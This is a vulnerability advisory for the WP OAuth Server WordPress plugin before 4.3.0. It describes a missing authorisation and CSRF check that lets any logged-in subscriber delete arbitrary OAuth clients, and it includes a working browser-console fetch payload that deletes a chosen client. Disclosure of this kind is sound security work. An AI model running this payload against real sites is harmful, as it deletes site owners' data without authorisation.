WordPress Plugin Vulnerabilities

WP OAuth Server < 4.3.0 - Subscriber+ Arbitrary Client Deletion

Description

The plugin has a flawed CSRF and authorisation check when deleting a client, which could allow any authenticated users, such as subscriber to delete arbitrary client.

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as any authenticated users, such as subscriber, this will delete the client with ID 123

fetch('/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=wo_remove_client&client_id=123',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

Affects Plugins

Fixed in 4.3.0

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-02-21 (about 1 years ago)
Added
2023-02-21 (about 1 years ago)
Last Updated
2023-03-27 (about 1 years ago)

Other